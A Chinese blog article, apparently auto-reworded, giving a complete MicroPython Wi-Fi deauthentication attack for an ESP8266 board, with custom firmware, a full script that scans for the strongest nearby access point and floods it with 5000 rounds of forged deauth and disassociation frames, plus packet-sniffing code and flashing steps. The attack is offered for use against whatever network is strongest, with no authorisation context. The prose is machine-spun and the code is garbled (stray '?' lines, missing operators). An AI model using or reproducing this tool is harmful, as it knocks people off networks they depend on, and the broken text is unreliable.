您现在的位置是:首页 > 密码破解

MicroPython完成wifi影响与抓包软件

作者:果E安全网时间:2020-10-26 00:46:19分类:密码破解

简介0x00序言以前做的WIFI攻击试验全是根据arduino自然环境开发设计的,近期想试着一下应用micropython进行deautch(消除验证)攻击。此次单片机开发板应用的還是TPYBoardv202。0x01完成基本原理a)根据查看材料和arduino的源代码剖析,掌握到完成攻击实际上便是发送IEEE802.11协议书消除验证包,依据MAC层帧文件格式发

0x00序言

以前做的WIFI攻击试验全是根据arduino自然环境开发设计的,近期想试着一下应用micropython进行deautch(消除验证)攻击。此次单片机开发板应用的還是TPYBoardv202。

1.jpg

0x01完成基本原理

a) 根据查看材料和arduino的源代码剖析,掌握到完成攻击实际上便是发送IEEE802.11协议书消除验证包,依据MAC层帧文件格式发送自定的虚报deautch数据文件。

b) 启用ESP8266SDK中wifi_send_pkt_freedom涵数,发送攻击包。

0x02攻击设计构思

a) 程序流程一开始扫描仪配件的AP。

b) 寻找数据信号最強的AP,获得到他的MAC地址(bssid)和信道。

c) 将TPYBoardv202转换到同攻击AP同样的信道。

d) 应用攻击AP的MAC地址,组成deauth消除验证包发送。

0x03编译烧录固件及程序流程源代码

1、 编译固件

目前的micropython-esp8266固件中,并沒有引出来wifi_send_pkt_freedom涵数,因此

我亲自动手编译了一次固件,详细地址:

https://github.com/PakchoiFood/micropython-deauth

大伙儿能够自主免费下载烧录应用,如果有的小伙伴们想自身编译改动固件得话,请参照:

https://github.com/micropython/micropython/tree/master/esp8266

必须留意:在编译esp8266-sdk时,留意版本号务必是1.3.0版本号,不然wifi_send_pkt_freedom涵数会一直回到-1不成功。

免费下载后缓解压力,文档以下:

2.png

firmware.bin文档:micropython-esp8266形成的固件。

提升的內容:

setAttack涵数

主要参数:int类型(信道)

作用:设定esp8266的信道

send_pkt_freedom涵数

主要参数:bytes数组(界定的数据文件)

flash_download_tools_v3.3.6_win.rar:烧录固件的专用工具。

MicroPythonFileUploader.rar:用以将系统软件下载到TPYBoardv202Flash的专用工具。

main.py文件:程序流程源代码文档,关键完成配件AP的扫描仪、数据文件的组成和启用发送。

import time

import uos

import wireless

?

sta_if=wireless.attack(0)#0:STA 方式

sta_if.active(True)

ap_list=sta_if.scan()

print(ap_list)

ssid=''

bssid=''#bssid:AP MAC address

channel=''#信道

_client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认设置

def deauth(_ap,_client,type,reason):

?

# 0 - 1 type, subtype c0:

deauth (a0: disassociate)

?

# 2 - 3 duration (SDK takes

care of that)

?

# 4 - 9 reciever (target)

?

# 10 - 15 source (ap)

?

# 16 - 21 BSSID (ap)

?

# 22 - 23 fragment & squence number

?

# 24 - 25 reason code (1=unspecified reason)

?

packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC,

0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00,

0x00,0x01, 0x00])

?

for i in range(0,6):

?

packet[4 i]=_client[i]

?

packet[10 i]=packet[16 i]=_ap[i]

?

#set type

?

packet[0]=type;

?

packet[24]=reason

?

result=sta_if.send_pkt_freedom(packet)

?

if result==0:

?

time.sleep_ms(1)

?

return True

?

else:

?

return False

?

if __name__=="__main__":

?

max_rssid=0

?

max_id=0

?

num=0

?

?

#获得数据信号最強的AP 开展攻击

?

for i in ap_list:

?

if max_rssid==0:

? max_rssid=i[3]#rssid

?

else:

? if i[3]>max_rssid:

? max_rssid=i[3]

? max_id=num

?

num =1

?

ssid=ap_list[max_id][0]

?

bssid=ap_list[max_id][1]

?

channel=ap_list[max_id][2]

?

print('ssid:',ssid,'-bssid:',bssid)

?

print('-channel:',channel,'-rssid:',max_rssid)

?

sendNum=5000#攻击频次

?

print('******************************')

?

if sta_if.setAttack(channel):

?

print('Set Attack OK')

?

time.sleep_ms(100)

?

print('---deauth runing-----')

?

for i in range(0,sendNum):

? r_=deauth(bssid, _client, 0xC0,

0x01)

? if r_:

?

? deauth(bssid, _client, 0xA0,

0x01)

? deauth(_client, bssid, 0xC0,

0x01)

? deauth(_client, bssid, 0xA0,

0x01)

? time.sleep_ms(5)

? else:

? print('---deauth fail-------')

? time.sleep_ms (5000)

  sniffer文件夹下的main.py实现网络抓包功能。

  import wireless

  import time

  #可以指定信道1~13

  sniffer=wireless.sniffer(6)

  #0:表示从信道1开始 定时切换信道

  #sniffer=wireless.sniffer(0)

  烧写固件

  1、 TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器(这里是COM57)。

  3.png

  2、 解压flash_download_tools_v3.3.6_win.rar,双击运行ESPFlashDownloadTool_v3.3.6.exe。

  3、选择firmware.bin固件文件,地址0x00000,其他参数根据下图设置。我的COM选择COM57,根据自己的实际端口选择,波特率选择115200。

  4.png

  4、点击【START】,界面提示等待上电同步。按住板子上的FLASH键不松,同时按一下RST键复位上电。左侧空白区显示读取的MAC地址,状态显示下载中,此时松开按键即可。

  5.png

  5、等待下载完毕,关闭软件退出。

  下载程序

  6、解压MicroPythonFileUploader.rar,双击运行MicroPythonFileUploader.exe。

  6.png

  此软件需要.NETFramework4.2及以上版本,若打开失败,请安装.NETFramework后再使用。

  .NETFramework4.5下载地址:http://www.tpyboard.com/download/drive/174.html

  7、选择COM57,点击【Open】打开串口。

  7.png

  8、点击右侧的文件夹图标的按钮,选择main.py文件。

  8.png

  9、此时可以点击【Send】,将程序发送给TPYBoardv202。发送成功后,程序自动运行。

  9.png

  10、接下来将sniffer下的main.py同样的是方式下载到板子里。(文件会覆盖)

  打开串口助手,就可以看到esp8266抓包的数据。

  10.png

郑重声明:

果E安全网所有活动均为互联网所得,如有侵权请联系本站删除处理,转载请注明本站地址。

我来说两句